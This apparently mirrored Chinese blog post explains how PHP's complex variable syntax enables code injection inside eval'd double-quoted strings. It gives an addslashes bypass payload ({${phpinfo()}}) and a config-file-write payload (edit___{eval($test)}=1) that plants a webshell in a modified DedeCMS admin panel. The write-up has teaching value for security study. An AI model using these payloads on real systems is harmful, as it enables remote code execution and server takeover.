zoukankan      html  css  js  c++  java
  • 关于PHP复杂变量

    前言:之前二开的dede bc审出了一个前台注入,幸运是白名单IP绕过,然后接着就是来到了后台getshell了

    参考文章:http://php.net/manual/zh/language.types.string.php

    示例题

    <?php
    highlight_file(__FILE__);
    $str = $_GET['str'];
    eval('$a="' . $str . '";');
    ?>
    

    如果想实现代码执行就需要进行闭合,如:";phpinfo();//

    此时var_dump的$a变量是为空的,如下:

    继续看:

    <?php
    highlight_file(__FILE__);
    $str = $_GET['str'];
    $str = addslashes($str);
    eval('$a="' . $str . '";');
    ?>
    

    这种上面的payload就不行了,因为addslashes的原因导致了无法闭合,那么直接试试phpinfo()呢? 发现一片空白,那么也就是没有成功的执行命令,那么打印下$a,可以发现phpinfo()并没有跟上面一样被解析

    那么这时候需要用到PHP的复杂变量了!

    利用${}

    payload:{${phpinfo()}},发现如下成功解析

    此时打印$a,发现是为空的,那么也就是phpinfo成功进行解析了

    1、当 PHP 解析器遇到一个美元符号($)时,它会和其它很多解析器一样,去组合尽量多的标识以形成一个合法的变量名。可以用花括号来明确变量名的界线

    这句话应该很好理解,先说单引号中的字符串是死的,而双引号中的字符串是活的,比如"$a",这时候如果出现$符号,PHP解析器就会去寻找对应的$a变量是否存在并且覆盖,同样也可以是{$a},为什么需要用这个?比如{$a}a,这时候{}的作用就出来了,可以理解为它会提醒PHP解析我只解析$a,而不是$aa,它起到一个分界的作用!

    2、任何具有 string 表达的标量变量,数组单元或对象属性都可使用此语法。只需简单地像在 string 以外的地方那样写出表达式,然后用花括号 { 和 } 把它括起来即可。由于 { 无法被转义,只有 $ 紧挨着 { 时才会被识别

    这里的$符号就是硬性要求了,如果你想要使用复杂变量就得用$符号!

    小知识点:可以用 {\$ 来表达 {$

    回到上面,为啥输入${phpinfo()}不行,而输入{${phpinfo()}},才可以呢?或许就是下面这种情况吧!

    实战

    快速Getshell的方式就是直接写配置文件了,正常来说gpc开启,数组格式下的写配置文件基本无解,但是自己这次确实是挺幸运的,配置文件的格式是 $变量 = '' 这种形式的!

    自己所处的审计环境,目标配置文件的格式为下面两个点:

    1、$变量 = ''

    2、主键为变量,值为变量值

    比如如下:

    edit___a=1&edit___b=1&edit___c=1&edit___d=1&edit___e=1&edit___f=1

    则生成的配置文件为:

    <?php
    $a = '1';
    $b = '1';
    $c = '1';
    $d = '1';
    $e = '1';
    $f = '1';
    ?>
    

    这里直接利用PHP的复杂变量来进行getshell:

    payload:edit___{eval($test)}=1&edit___b=1&edit___c=1&edit___d=1&edit___e=1&edit___f=1

    自己解决的办法是直接通过dede本身的变量注册的机制来进行绕过的!

    好了,该睡觉了,明天又是实习的一天,不过这种日子也快结束了,滚蛋回家睡觉咯!

  • 相关阅读:
    HTML中所用的标签(二)
    HTML中所用的标签(一)
    学习笔记之04表格嵌套练习1
    学习笔记之03百度搜索页面
    学习笔记之02简单的基础
    学习笔记之01程序员起航篇
    Part 53 to 55 Talking about Reflection in C#
    Part 48 to 51 Talking about Access Modifiers in C#
    Part 59 to 60 Difference between Convert ToString and ToString,String and StringBuilder
    Part 57 to 58 Why should you override ToString and Equal Method
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/13590920.html
Copyright © 2011-2022 走看看